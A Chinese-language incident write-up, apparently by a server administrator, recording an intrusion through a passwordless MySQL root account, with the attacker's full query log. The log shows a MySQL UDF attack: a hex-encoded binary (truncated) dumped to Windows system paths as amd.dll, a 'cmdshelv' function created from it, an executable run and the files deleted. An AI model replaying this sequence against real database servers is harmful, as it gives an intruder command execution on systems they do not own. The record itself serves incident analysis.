mysql设置问题导致的攻击记录

主要是当时安装mysql的时候没有设置root密码，实际上已经设置了root用户只能localhost登录，但是不知道这个入侵者是如何远程root登录的~~~
入侵者的ip：220.189.225.30 是个美国的ip
分析：

先创建一个临时表， create table if not exists tempMix4(data LONGBLOB)；

然后插入一堆代码，估计是文件的16进制编码，

110624 12:50:28      49679 Query       set @a = concat('',0x4D5A90000300000004000000FFFF0000B80000000000000040...此处省去很多很多...0000000000000000000000)
110624 12:50:38      49679 Query       INSERT INTO tempMix4 VALUES (@a)

然后执行了以下的语句，从而在windows下会在

  　　 49679 Query       select data from tempMix into DUMPFILE 'C:\\WINDOWS\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINT\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINDOWS\\SYSTEM32\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINT\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE '..\\lib\\plugin\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE '..\\bin\\amd.dll'

这些文件夹生成了一个amd.dll文件，

然后执行以下操作：估计是执行这些文件，文件具体干嘛的不知道~~

　　　110624 12:50:44      49679 Query       create function cmdshelv returns string soname 'amd.dll'
          49679 Query       create function cmdshelv returns string soname 'amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINDOWS\\system32\\amd.dll'
110624 12:50:45      49679 Query       create function cmdshelv returns string soname 'C:\\WINNT\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINDOWS\\SYSTEM32\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINNT\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'amd.dll'
110624 12:50:46      49679 Query       select cmdshelv('c:\\33061.exe')
          49679 Query       select cmdshelv('c:\\33061.exe')
110624 12:50:47      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
110624 12:50:48      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
110624 12:50:49      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
          49679 Query       select cmdshelv('cmd.exe cmd/c del c:\amd.dll')
          49679 Query       select cmdshelv('cmd.exe cmd/c del C:\WINNT\amd.dll')
          49679 Query       select cmdshelv('cmd.exe cmd/c del C:\WINDOWS\amd.dll')

--------------------------------------------------------------------------------详细入侵过程如下-------------------------------------------------

110624 12:50:19      49679 Connect     root@220.189.225.30 on
          49679 Query       drop function cmdshell
110624 12:50:20      49679 Query       drop function my_udfdoor
          49679 Query       drop function do_system
          49679 Query       use mysql
110624 12:50:21      49679 Query       drop table if exists tempMix4
          49679 Query       create table if not exists tempMix4(data LONGBLOB)
110624 12:50:28      49679 Query       set @a = concat('',0x4D5A90000300000004000000FFFF0000B80000000000000040...此处省去很多很多...0000000000000000000000)
110624 12:50:38      49679 Query       INSERT INTO tempMix4 VALUES (@a)
          49679 Query       select data from tempMix4 into DUMPFILE 'C:\\33061.exe'
110624 12:50:39      49679 Query       drop table if exists tempMix4
          49679 Query       use mysql
          49679 Query       drop table if exists tempMix
110624 12:50:40      49679 Query       create table if not exists tempMix(data LONGBLOB)
110624 12:50:42      49679 Query       set @a = concat('',0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000...此处省去很多很多...00000000000000000)
110624 12:50:43      49679 Query       INSERT INTO tempMix VALUES (@a)
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINDOWS\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINT\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINDOWS\\SYSTEM32\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\WINT\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE '..\\lib\\plugin\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE 'C:\\amd.dll'
          49679 Query       select data from tempMix into DUMPFILE '..\\bin\\amd.dll'
110624 12:50:44      49679 Query       create function cmdshelv returns string soname 'amd.dll'
          49679 Query       create function cmdshelv returns string soname 'amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINDOWS\\system32\\amd.dll'
110624 12:50:45      49679 Query       create function cmdshelv returns string soname 'C:\\WINNT\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINDOWS\\SYSTEM32\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'C:\\WINNT\\amd.dll'
          49679 Query       create function cmdshelv returns string soname 'amd.dll'
110624 12:50:46      49679 Query       select cmdshelv('c:\\33061.exe')
          49679 Query       select cmdshelv('c:\\33061.exe')
110624 12:50:47      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
110624 12:50:48      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
110624 12:50:49      49679 Query       select cmdshelv('cmd.exe cmd/c del c:\33061.exe')
          49679 Query       select cmdshelv('cmd.exe cmd/c del c:\amd.dll')
          49679 Query       select cmdshelv('cmd.exe cmd/c del C:\WINNT\amd.dll')
          49679 Query       select cmdshelv('cmd.exe cmd/c del C:\WINDOWS\amd.dll')
          49679 Query       drop table if exists tempMix
          49679 Quit